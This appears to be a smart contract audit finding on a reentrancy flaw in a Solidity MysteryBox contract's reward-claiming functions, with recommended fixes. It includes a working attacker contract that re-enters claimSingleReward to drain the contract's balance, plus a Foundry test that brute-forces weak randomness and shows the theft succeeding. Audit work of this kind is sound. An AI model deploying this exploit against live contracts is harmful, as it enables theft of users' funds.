Summary
In MysteryBox::claimSingleReward an external call is made to pay the reward amount to msg.sender before the reward is deleted from the MysteryBox::rewardsOwned[msg.sender] array creating a reentrancy risk.
Similarly in MysteryBox::claimAllRewards the total reward amount is paid to msg.sender before the MysteryBox::rewardsOwned[msg.sender] array is deleted.
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
@> (bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
@> delete rewardsOwned[msg.sender][_index];
}
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
@> (bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
@> delete rewardsOwned[msg.sender];
}
Impact
If msg.sender is a contract, then the receive/fallback function can call MysteryBox::claimSingleReward or MysteryBox::claimAllRewards again before the reward is deleted causing a loop that results in nearly all funds drained from the contract.
Proof of Concept
MysteryBox is deployed with 5 ether in balance.
A Malicious Contract buys a mystery box, opens the box and wins a prize.
The Malicious Contract claims the reward with MysteryBox::claimSingleReward.
The prize amount is transfered to the Malicious Contract and the receive function is called.
If the remaining contract balance is greater than the prize amount, the receive function calls MysteryBox::claimSingleReward again, repeating this cycle.
Once the remaining contract balance is less than the prize amount, the receive function sends all the funds to the deployer of the Malicious Contract.
Attacker Contract:
contract ReentrancyAttacker {
MysteryBox mysteryBox;
uint256 boxPrice;
uint256 rewardValue;
address owner;
constructor(MysteryBox _mysteryBox) {
mysteryBox = _mysteryBox;
boxPrice = mysteryBox.boxPrice();
owner = msg.sender;
}
function attack() external payable {
require(owner == msg.sender);
mysteryBox.buyBox{value: boxPrice}();
mysteryBox.openBox();
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
rewardValue = rewards[0].value;
mysteryBox.claimSingleReward(0);
}
receive() external payable{
if (address(mysteryBox).balance >= rewardValue) {
mysteryBox.claimSingleReward(0);
} else {
(bool success,) = payable(owner).call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}
}
Test Code:
function testReentrancy() public {
address user;
uint256 randomValue;
uint256 boxPrice = mysteryBox.boxPrice();
ReentrancyAttacker attackerContract;
vm.deal(user, 5.1 ether);
vm.startPrank(user);
MysteryBox newMysteryBox = new MysteryBox{value: 5 ether}();
while(randomValue < 95) {
attackerContract = new ReentrancyAttacker(newMysteryBox);
randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, address(attackerContract)))) % 100;
}
console.log("Balance before attack: ", user.balance);
attackerContract.attack{value: 0.1 ether}();
console.log("Balance after attack: ", user.balance);
}
Test Output:
Balance before attack: 100000000000000000
Balance after attack: 5000000000000000000
Tools Used
Manual Review, Slither, Foundry
Recommendations
Use OpenZeppelin's ReentrancyGuard library and add the nonReentrant modifier to the function or use the Check-Effects-Interactions pattern:
+ delete rewardsOwned[msg.sender][_index];
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender][_index];
+ delete rewardsOwned[msg.sender];
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender];
